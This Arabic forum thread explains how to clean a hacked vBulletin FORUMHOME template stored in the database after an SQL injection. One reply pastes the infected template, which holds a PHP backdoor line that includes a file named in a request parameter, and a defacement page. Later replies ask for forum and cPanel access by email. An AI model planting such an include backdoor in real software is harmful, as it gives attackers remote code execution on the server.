http://losha.net/mypictures/bsmla.gif


الموضوع اليوم شيق جدا
وليس فقط كذلك ولاكن للتعرف على ما يحتوية السكربت من أشياء قد تكون خافية على المستخدم العادى
المهم لا اطيل عليكم

قد تم الأختراق عن طريق أختراق قالب الفورم هوم
يقولون بعض الأخوه الأفاضل غير الأندكس وأستبدل مش عارف إيه ألخ ......!!!!!!؟؟؟؟؟؟

ولاكن نقف لحظه الإختراق الذى نتحدث عنه اليوم
حقن عن طريق Sql والسبب عدم حماية المجلدات عدم تفعيل جدار نارى على المجلد includes وأخيرا وليس أخراً
تمكن المخترق من قرائة ملف الكومفرق config.php
وبنائاً على قرائته للملف طلب زراعة أمر بطلب تغير محتوى قالب الفورم هوم FORUM HOME الأصلى تعديل Kier

وينتج عن الحدث أو عن أمر الأختراق أنه برفع إستايل جديد لا يوجد أختراق
حين طلب التعديل بأرجاع كافة القوالب إلى الأصل يرجع الأختراق كما كان
على الإستايل الديفولت مع العلم بانه الأصلى الذى لا يمكن تغيرة إلى من خلال درسنا هذا
فى حين طلب أسترجاع القوالب للأصل يتم أخز نسخة مطابقة لما هوه محفوظ فى جداول المنتدى
وتكون النسخة أصلا مخترقة فتظن أن المنتدى صار خراب

ولاكن لك الحل

بسم الله نبدأ




يوجد حلان وفى الحلول المطروحه لن ننصح أحد ليس لدية أى خبرة بالتعامل مثل ما سوف تشاهد من الشرح ولاكن ننصحة بالتفهم الأول وبعدها يبدا التعامل


الحل الأول : الدخول إلى قاعدة البينات عن طريق الرابط http://www.******.com:2082/frontend/x/sql/index.html
وحزف جدول template وزراعة جدول أخر يتوافق مع النسخة فى الإصدار نظيف ثم اللجوء إلى ترقيم الإستيلات كاملة من جديد كما تم شرحه على الرابط التالى



الحل الثانى : هوه معرفة الجزء المصاب ثم تعديلة كما سوف يتم شرحة الأن

بسم الله نتبع الشرح التالى كما موضح بالصورة التالية

http://losha.net/shro7/a7trak/01.jpg
1- تحديد جدول تمبلت template والضغط عليه
2- الضغط على بروسر Browse لظهور الجداول أمامك
3- أضغط على العنوان الرئيسى تيتل title لظهور كافة جداول الإستايل الإفتراضية والمعدل عليها
وهنا سو نعرف الفرق بين المعدلة والأصلية

وبعد الضغط على العنوان تيتل title سوف يظهر أمامك كافة الجداول التى موجوده فى الأصل والمضافة تلقائى من الهكات والمنتجات التى على منتداك سوف يظهر لك كما موضح بالخطوة رقم 3 فى الصورة السابقة
الأن انزل إلى الأسفل قليل تجد قائمة منسدلة تحتوى على عدد الجداول والتمبلتات الخاصه بالإستايل سوف نقوم بالبحث عن
تمبلت الفورم هوم FORUM HOME
وسف أختصر عليكم البحث لحصر الجداول فى الصفحات من 18 إلى 21أو 24 على حسب نسخة منتداك كما موضح بالصورة التالية
http://losha.net/shro7/a7trak/02.jpg

كما هوه الأن وجدنا القالب المراد
http://losha.net/shro7/a7trak/03.jpg

1- وجدا القالب فى الصفحة رقم 20
2- القالب كما ترون مرقم ب 1- كما تلاحظون الرمز - هذا يدل على تعديل المبرمج الأصلى
3- أضغط تعديل على بركة الله

بعد الضغط على تعديل سوف ترى ما يلى
http://losha.net/shro7/a7trak/04.jpg

1- الجزء المصاب والذى تم التعديل عليه من قبل المخترق الله يهدى
2- تعديل المبرمج كير Kier لأن هذا ما يهنا لأنه هذا هوه الأصل للتراجع ولكل شئ


الأن ناتى لشرح فك الأختراق والسموحه على الإطالة

1- يتم إجراء نفس الخطوات السابقه على نسخة مماثلة ويفضل من على الأبتشى للسرعة فى الانجاز
2- يتم التبديل بالأكواد الجديدة النظيفة
3- حفظ على بركة الله
4- الدخول للوحة التحكم واخز نسخة احتياطية من الإستيلات المركبة كاملة
5- أعداة ترقيم الإستيلات كما فى الشرح على هذا الرابــــــط (http://www.traidnt.net/vb/showthread.php?t=268630)
6- حماية المجلداد الهامه كما بالشرح هنــــــــــــــــــــــــا (http://www.traidnt.net/vb/showthread.php?t=23105)
7- تشفير ملف الكومفرق مهم جدا ولا داعى لتغير مسارة كما يقولون الأخوه فيستطيع المخترق أحضارة لو أخفيتة فى البحر
8- واخيرا وليس اخرا ترخيص 111 لمجلد المنتدى كامل كما هنـــــــــــــــــــــــا (http://www.swalif.net/softs/showpost.php?p=1397296&postcount=15)


ملحوظة يتم بعدها عمل نفس الخطوات على جدول ال Css
والله ولى التوفيق


وأى سؤال بإذن الله أخوكم حاضر له بالتوفيق والخير نلتقى
http://losha.net/mypictures/fasl02.gif
فالسماح على الخطأ والنسيان
فإن كان بيه خطأ فإنه منى وأنسانى إياه الشيطان الرجيم
وإن أصبت http://www.traidnt.net/vb/images/smilies/clap.gif فلله الحمد والمنة أن وفقت في ذلك

وفي ختام هذا الشرح أدعوا الله لي ولكم ولوالدينا ولمن أحببناه في الدنيا
بالهداية والصلاح في الدنيا وأن يجمعنا جميعاً في الفردوس الأعلى ....

سبحانك اللهم وبحمدك , أشهد أن لا اله إلا أنت أستغفرك وأتوب إليك
أخوكم فى الله
Ali Losha


http://losha.net/mypictures/fasl02.gif




شكر خاص لأخى الحبيب حموده منتديات الأسود العربي (http://www.osoud.net)ة
أخى الحبيب كريم من مجموعة القطرى (http://hostqtr.com/)

استاذي الفاضل

لقد تم اختراق منتداي ولا اعلم اي ثغرة استخدمت ولكن وجدت ان الفورم هوم هو المتغير في جميع الاستايلات من قواعد البيانات وكما تفضل ( بطريقة ) الحقن
السؤال ماهي الثغرة التي عن طريقها تم الوصول
علما اني امتلك النسخه الاخيرة 3.6.7 وقد اخترقت كذلك بنفس
الطريقة في النسخة 3.6.4
الغيت جميع الهاكات وتم الاختراق كذلك مرة ثانة ؟!!
تعبت من كثر من اعدل ويرجع يخترق
هل لديك حل جذري ؟
انتظرك استاذي على احر من الجمر فوالله لقد تعبت ومل الاعضاء :o

راجع أخى هذه المشاركة
وتفهم الوضع جيدا
http://www.swalif.net/softs/showpost.php?p=1436417&postcount=19
والله يوفقكم جميعا

رائع اخى بصرحة اكثر من رائع بارك الله فيك وربنا يوفقك الى ما فية الخير

تحياتى لك والى مزيد من التقدم والنجاح

مشكووور اخوي

بس عندي فورم هوم مخترق

وهذا الي حصلته


<html dir=\"ltr\">
=\".print include($HTTP_GET_VARS[cmd]).\"
<head>
<style type=\"text/css\">body {cursor: url(http://www.myspacecursor.net/skull/1.ani); }</style>
<meta http-equiv=\"Content-Language\" content=\"en-us\">
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<title>HackeD BY [ Resident Evil ] &amp; [ Devil DweeM ]</title>
<bgsound src=\"\" loop=\"-1\">
<style type=\"text/css\">body {cursor: url(http://www.myspacecursor.net/skull/1.ani); }</style>
<body background=\"http://i148.photobucket.com/albums/s39/cowmoos/glitter_skull/2.gif\">

<div align=\"center\">

<table border=\"1\" width=\"600\" id=\"table1\" style=\"border: 1px dotted #FFFFFF\" background=\"http://www.up4arab.com/out.php/i58442_back.png\">
<tr>
<td>
<p align=\"center\"><font face=\"Comic Sans MS\" size=\"7\">&nbsp;HackeD BY<span lang=\"ar-sa\">...</span></font></p>
<font face=\"Comic Sans MS\" color=\"#FF0000\" style=\"font-size: 50pt\">
<p align=\"center\"><b>R</b></font><font SIZE=\"6\" face=\"Comic Sans MS\" color=\"#FF0000\">esident
</font>
<font face=\"Comic Sans MS\" color=\"#FF0000\" style=\"font-size: 50pt\">E</font><font SIZE=\"6\" face=\"Comic Sans MS\" color=\"#FF0000\">vil</p>
</font>
<p align=\"center\"><font size=\"6\" face=\"Comic Sans MS\">&amp;</font></p>
<p align=\"center\">
<font face=\"Comic Sans MS\" size=\"7\" color=\"#FF0000\"><b>B</b>aBa <b>H</b>aCkEr</font></p>
<p align=\"center\"><font size=\"6\" face=\"Comic Sans MS\">SimpLY ...
<font color=\"#FF0000\">iN8L3</font> !!!!</font><font SIZE=\"1\" face=\"Tahoma\" color=\"#FF0000\"><p align=\"center\">
al5laa@hotmail.com<br>
63@live.com</font></td>
</tr>
</table>
</div>

</body>

</html>


علما النسخه الي عندي

هي 3.6.4

وما اعرف من وين اييب قالب نظيف

والشي الثاني اذا كنت مركب استايل هل يتأثر في التغيير هذا القالب ولا هذا خاص بالافتراضي

مشكووور اخوي

بس عندي فورم هوم مخترق

وهذا الي حصلته


علما النسخه الي عندي

هي 3.6.4

وما اعرف من وين اييب قالب نظيف

والشي الثاني اذا كنت مركب استايل هل يتأثر في التغيير هذا القالب ولا هذا خاص بالافتراضي

يوجد إستايل داخل مجلد الأنستول
أرفعه مرة أخرى ورد لى خبر

وعليكم السلام ورحمه الله وبركاته

اشكرك اخويه العزيز على الموضوع لوشا بارك الله بيك وجعلها من حسناتك

بس عندي مشكلة وتم اختراق منتداي بنفس الطريقة واواجهة نفس المشكلة

والان عملت طريقة بس بالنهاية ماعرفت وصل الى

http://losha.net/shro7/a7trak/04.jpg

اتمنى اتعلمني كيف اعمل اكواد نظيفة وترفقلي الاكواد

ونسخة المنتدى 3.7.2

واذا تساعدني اكثر ضيفني على ايميل لان والله مشكلة بخصوص الموضوع هذا

الايميل : hamd_fuj_740@hotmail.com

اتمنى تسااااااااااااعدني وياحلى منتدى

وعليكم السلام ورحمه الله وبركاته

اشكرك اخويه العزيز على الموضوع لوشا بارك الله بيك وجعلها من حسناتك

بس عندي مشكلة وتم اختراق منتداي بنفس الطريقة واواجهة نفس المشكلة

والان عملت طريقة بس بالنهاية ماعرفت وصل الى

http://losha.net/shro7/a7trak/04.jpg

اتمنى اتعلمني كيف اعمل اكواد نظيفة وترفقلي الاكواد

ونسخة المنتدى 3.7.2

واذا تساعدني اكثر ضيفني على ايميل لان والله مشكلة بخصوص الموضوع هذا

الايميل : hamd_fuj_740@hotmail.com

اتمنى تسااااااااااااعدني وياحلى منتدى

راسلنى ببينات المنتدى والسى بنل